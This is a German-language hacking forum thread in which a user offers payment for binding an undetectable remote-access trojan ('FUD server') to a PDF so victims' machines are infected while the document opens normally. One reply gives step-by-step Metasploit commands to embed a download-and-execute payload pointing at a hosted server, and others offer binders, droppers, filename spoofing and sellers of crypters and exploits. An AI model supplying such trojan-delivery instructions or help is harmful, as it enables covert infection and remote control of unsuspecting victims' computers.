14 Antworten in diesem Thema

[EREB0S]

Hey.

Suche:
Jemanden der mir meine FUD server.exe flott an eine .pdf Datei meiner wahl bindet.
PDF soll sich hierbei normal öffnen und lesen lassen, während sich die server.exe im Hintergrund installiert.

Nachtrag:
Dateiname bzw. Endung kann auch wie folgt sein:
namederdatei.pdf.exe

Ich biete:
BTC | PSC

Preis:
Verhandelbar

Ich bitte euch, eure Server nicht an meinen zu binden.
Datei wird auf Funktionalität & angebundene fremde Server geprüft.
Trifft dies zu, erfolgt keine Auszahlung meiner seits.

EREB0S

[Cannapot]

Nachtrag:
Dateiname bzw. Endung kann auch wie folgt sein:
namederdatei.pdf.exe

EREB0S

.pdf.exe wäre ok? Dann änder doch einfach das Symbol, oder soll sich danach wirklich eine PDF öffnen?

Bearbeitet von Cannapot, 03 February 2014 - 14:43 Uhr.

[Aaron]

PDF soll sich hierbei normal öffnen und lesen lassen

Steht eigentlich Alles geschrieben.

[EREB0S]

Steht eigentlich Alles geschrieben.

Genau.

Suche immernoch vergeblich.
Wahnsinn dass das niemand hinbekommt.
Hätte nicht gedacht dass das so schwer ist, sondern was ganz übliches.

[Shopping Queen]

Mit Metasploit geht das, aber keine Ahnung wie.

[zepsus]

Mit Metasploit geht das, aber keine Ahnung wie.

Hier wäre kurz die Erklärung um das mit Metasploit zumachen, leider ist diese Methode schon sehr veraltet und sie wird dadurch nicht mehr bei den neuen PDF's funktionieren! Du kannst höchstens ein paar alte XP Rechner infizieren.

Metasploit Methode:

Requirements:
Metasploit, a PDF eBook and a FUD server.
Metasploit can be downloaded

Please Login HERE or Register HERE to see this link!

Search the web for free eBooks

Make your PDF file ready, upload your FUD server to a hosting service which provides direct download links, I would use

Please Login HERE or Register HERE to see this link!

or

Please Login HERE or Register HERE to see this link!

And make sure that you have installed Metasploit correctly!

Now we will infect the PDF file
1. Open up Metasploit console

2. Type this in the console:
use exploit/windows/fileformat/adobe_pdf_embedded_exe

3. Type this in the console:
set payload windows/download_exec

4. Type this in console:
set INFILENAME <location of your pdf to infect here>

EXAMPLE: set INFILENAME C:/Users/Owner/Desktop/example.pdf

5. Type this in console:
set url <direct download link to your fud server>
EXAMPLE: set url

Please Login HERE or Register HERE to see this link!

6. Type this in console:
Exploit
Now you have infected your PDF file and you will be ready to send it out, when people open the infected PDF file then it will download your server and *BAM* new slave.
(The infected PDF file will be in the same directory as the original and will be named ???evil.pdf???)

@EREBOS um deine Frage zu beantworten ich könnte versuchen einen Binder zuschreiben der deinen Anforderungen entspricht, dass würde aber dauern da ich mich grade mit anderen Projekten beschäftige.

Ich hoffe mein Beitrag hat dir ein wenig weitergeholfen.

LG zepsus

Bearbeitet von zepsus, 04 February 2014 - 20:51 Uhr.

[Aaron]

Die Metsaploit Methode habe ich auch schon getestet gehabt.
Leider funktioniert es nicht mehr. Ich glaube auch kaum jemand nutzt noch Win XP.
Wenn es eine exe Datei wäre, die pdf beinhaltet wäre es eigentlich kein Problem.
Exe starten pdf extrahieren und starten. Einfache Bindemethode reicht.
Du willst aber eine pdf Datei haben die dann deine exe beinhaltet.
Das Problem ist eigentlich nur die exe von pdf aus zu starten.

[Zaubertrick]

Kann dir wenn du magst das ganze per Dropping Verfahren binden. Is halt nicht sauber und nicht Runtime aba es rennt. Natürlich dann gratis.

Grüße

[CyberFlash]

Mich würde interessieren, warum du es genau so haben willst ?
Wird der Angrif via E-mail ablaufen ?
Hast du schon mal andere Methoden in betracht gezogen ?

Denke du hast mit "Zaubertrick" via PN geflirtet und das Thema ist gegessen .. ?

[Aaron]

Ich habe auf der Platte eine Anleitung gefunden.
Auf eigene Gefahr, geprüft allerdings ohne Erfolg.
Wenigstens kannst du dir anschauen wie es geht.

Please Login HERE or Register HERE to see this link!

[EREB0S]

Vielen Dank an euch für eure zahlreichen Beiträge, die mir wirklich geholfen haben!
Ich habe mich auch international auf die Suche begeben und bin zu dem Entschluss gekommen,
dass es genauso, wie ich es mir vorstelle, zum aktuellen Zeitpunkt nicht realisierbar ist!

Sehr schade.
Daher stelle ich meine Suche ein.

Danke euch allen.

[shhs]

Suche momentan auch, bin auch bereit für Hilfe zu zahlen.

shhs@exPloit.im

Bearbeitet von shhs, 27 February 2016 - 22:12 Uhr.

[len0]

Suche momentan auch, bin auch bereit für Hilfe zu zahlen.

shhs@exPloit.im

HIer auf Toolbase gibt es einen Seller der Verkauft Exploits & Crypter

Schreibt aber gerne mal nicht zurück....

[pi^2]

Please Login HERE or Register HERE to see this link!

bzw.

Please Login HERE or Register HERE to see this link!

 

ist zwar funktionsfähig, aber outdated (was anderes wird es nicht geben).

[Avni]

Also name.pdf.exe sollte doch mit hedem multifile binder funktionieren. Danach die exe spoofen, gibts hier im board und dann sollte das passen oder?